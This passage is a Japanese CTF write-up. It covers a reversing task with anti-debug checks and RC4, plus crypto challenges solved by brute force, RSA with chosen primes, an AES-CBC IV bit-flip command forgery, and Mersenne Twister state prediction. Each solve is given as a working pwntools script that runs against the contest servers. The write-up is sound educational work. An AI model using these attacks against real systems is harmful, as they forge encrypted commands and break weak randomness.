  local_a8 = 0;
  local_98 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_5c = 0;
  local_5a = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_1c = 0;
  local_1a = 0;
  local_a0 = (FILE *)0x0;
  do {
    switch(local_a8) {
    case 0:
      if ((_DAT_00105090 & 0xff) == 0xcc) {
        fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr);
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      local_a0 = fopen(param_1,"r");
      break;
    case 1:
      if (local_a0 == (FILE *)0x0) {
        err(1,"fopen(\"%s\", \"r\")",param_1);
      }
      break;
    case 2:
      if ((___cxa_finalize & 0xff) == 0xcc) {
        fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr);
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      fgets((char *)&local_98,0x3f,local_a0);
      break;
    case 3:
      for (local_a4 = 0; (int)local_a4 < 0x28; local_a4 = local_a4 + 1) {
        param_4 = (uchar *)(ulong)((byte)KEY[(int)local_a4] ^ local_a4);
        KEY[(int)local_a4] = (char)((byte)KEY[(int)local_a4] ^ local_a4);
      }
      break;
    case 4:
      RC4((RC4_KEY *)KEY,(size_t)&local_98,(uchar *)&local_58,param_4);
      break;
    case 5:
      if ((___gmon_start__ & 0xff) == 0xcc) {
        fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr);
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      memcmp(ENC,&local_58,0x3f);
      if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    local_a8 = local_a8 + 1;
  } while( true );
}

入力された文字列を鍵がKEYのRC4で暗号化し、ENCと比較しています。そのため、KEYを使ってENCを復号するとフラグが求まります。

from Crypto.Cipher import ARC4
import lief

key_addr = 0x4020
enc_addr = 0x4060
key_size = 0x28
enc_size = 0x3f

elf = lief.parse("unpacked")

key = bytes([x ^ i for i, x in enumerate(elf.get_content_from_virtual_address(key_addr, key_size))])
enc = bytes(elf.get_content_from_virtual_address(enc_addr, enc_size))

cipher = ARC4.new(key)
print(cipher.decrypt(enc))
$ python3 solve.py
b'ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}\xef'

Crypto

CoughingFox

フラグの文字とインデックスの両方を総当たりしても10^{6}通りにも満たないので、総当たりで求まります。

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

flag = bytearray(len(cipher))

for c in cipher:
    for i in range(len(cipher)):
        for f in range(255):
            if (f + i)**2 + i == c:
                flag[i] = f
print(flag.decode())
$ python3 solve.py
ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

PrimeParty

次のnを公開鍵として暗号化されたフラグが与えられます。


n = p_1 p_2 p_3 p_4 q_1 q_2 q_3

p_1からp_4は256bitのランダムな素数q_1からq_{3}は任意の素数です。

q_1, q_2, q_3を256bit程度の素数として、


n' = q_1 q_2 q_3

ed \equiv 1 \mod \phi(n')となるようなdを求め、c^{d} \mod n'を計算するとフラグが求まりました。

from pwn import *
from Crypto.Util.number import getPrime, long_to_bytes

bits = 256
p = getPrime(bits)
q = getPrime(bits)
r = getPrime(bits)

s = remote("primeparty.quals.beginners.seccon.jp", 1336)

s.recvuntil("> ")
s.sendline(str(p).encode())
s.recvuntil("> ")
s.sendline(str(q).encode())
s.recvuntil("> ")
s.sendline(str(r).encode())

s.recvuntil("n = ")
n = int(s.recvline())
s.recvuntil("e = ")
e = int(s.recvline())
s.recvuntil("cipher = ")
cipher = int(s.recvline())

phi = (p - 1) * (q - 1) * (r - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(cipher, d, p*q*r)))
python3 solve.py
[+] Opening connection to primeparty.quals.beginners.seccon.jp on port 1336: Done
b'ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}'
[*] Closed connection to primeparty.quals.beginners.seccon.jp port 1336

Command

IVとxorする前の復号時のAES-CBCの最初の1ブロックは「平文 \oplus IV」となっています。復号時のIVとして、「平文 \oplus 暗号化時のIV \oplus 好きな文字列」を与えると復号結果を好きな文字列にできます。

from Crypto.Util.strxor import strxor
from Crypto.Util.Padding import pad
from pwn import *

s = remote("command.quals.beginners.seccon.jp", 5555)

s.sendlineafter(b"> ", b"1")
s.sendlineafter(b"> ", b"fizzbuzz")

s.recvuntil(b"Encrypted command: ")
enc = bytes.fromhex(s.recvline().strip().decode())
iv, c = enc[:16], enc[16:]

new_iv = strxor(iv, pad(b"fizzbuzz", 16))
new_iv = strxor(new_iv, pad(b"getflag", 16))

print("Encrypted cmd:", (new_iv+c).hex())
s.interactive()
python3 solve.py
[+] Opening connection to command.quals.beginners.seccon.jp on port 5555: Done
Encrypted cmd: a7235d23a873673b7de194399cf19fdeaa4e93fe8c4de120bba9bc4c2143b50d
[*] Switching to interactive mode

----- Menu -----
1. Encrypt command
2. Execute encrypted command
3. Exit
> $ 2
Encrypted command> $ a7235d23a873673b7de194399cf19fdeaa4e93fe8c4de120bba9bc4c2143b50d
ctf4b{b1tfl1pfl4ppers}

Unpredictable Pad

import random
import os


FLAG = os.getenv('FLAG', 'notflag{this_is_sample_flag}')


def main():
    r = random.Random()

    for i in range(3):
        try:
            inp = int(input('Input to oracle: '))
            if inp > 2**64:
                print('input is too big')
                return

            oracle = r.getrandbits(inp.bit_length()) ^ inp
            print(f'The oracle is: {oracle}')
        except ValueError:
            continue

    intflag = int(FLAG.encode().hex(), 16)
    encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length())
    print(f'Encrypted flag: {encrypted_flag}')


if __name__ == '__main__':
    main()

問題のソースコードをぱっと見たところ、intにしたフラグと乱数でxorをとったものが与えれれるだけでフラグが求まりそうにありません。

Pythonのgetrandbitsは内部で32bitのメルセンヌツイスタが使われています。getrandbitsに与えられる引数をkとすると、kが32以下ならメルセンヌツイスタで乱数を生成し余分なビットを落とした値が返されます。一方で、32より大きい場合は32bitずつメルセンヌツイスタで乱数を生成し、組み合わせたものが返されます。参考

メルセンヌツイスタの予測は624個の内部状態があれば行えるとされています。そのため、getrandbits(624*32)の値が手に入れば簡単に予測できるため、フラグを求められそうです。

chal.pyを見ると、getrandbitsの引数はinpのビット数となっています。inpは2**64より小さい値でなければならないため、64ビットまでの乱数しか手に入らないように見えます。しかし、正の数と限定されていないため負の数を入力すると好きなビット数の乱数を手に入れることができます。

よって、inpに-2**(624*32)+1を入力し624個の内部状態を得ることでメルセンヌツイスタの次の値が予測できるようになり、フラグを復元できました。

from pwn import *
from mt19937predictor import MT19937Predictor
from Crypto.Util.number import *

#p = process(["python3", "chal.py"])
p = remote("unpredictable-pad.quals.beginners.seccon.jp", 9777)

# first
# 624 * 32bitの乱数を取得する
x = -2**(624*32) + 1
p.sendlineafter(": ", str(x).encode())
p.recvuntil(b": ")
states_int = int(p.recvline().strip()) ^ x

predictor = MT19937Predictor()
while states_int:
    predictor.setrandbits(states_int & 0xffffffff, 32)
    states_int >>= 32

# second
x = 2**(32) - 1
p.sendlineafter(": ", str(x).encode())
p.recvuntil(b": ")
oracle = int(p.recvline().strip()) ^ x
assert oracle == predictor.getrandbits(32)

# third
x = 2**(32) - 1
p.sendlineafter(": ", str(x).encode())
p.recvuntil(b": ")
oracle = int(p.recvline().strip()) ^ x
assert oracle == predictor.getrandbits(32)

# 予測した乱数と暗号化されたフラグでxorをとる
p.recvuntil("Encrypted flag: ")
enc = int(p.recvline().strip())
print(long_to_bytes(enc ^ predictor.getrandbits(enc.bit_length())))
$ python3 solve.py
[+] Opening connection to unpredictable-pad.quals.beginners.seccon.jp on port 9777: Done
b'ctf4b{M4y_MT19937_b3_w17h_y0u}'
[*] Closed connection to unpredictable-pad.quals.beginners.seccon.jp port 9777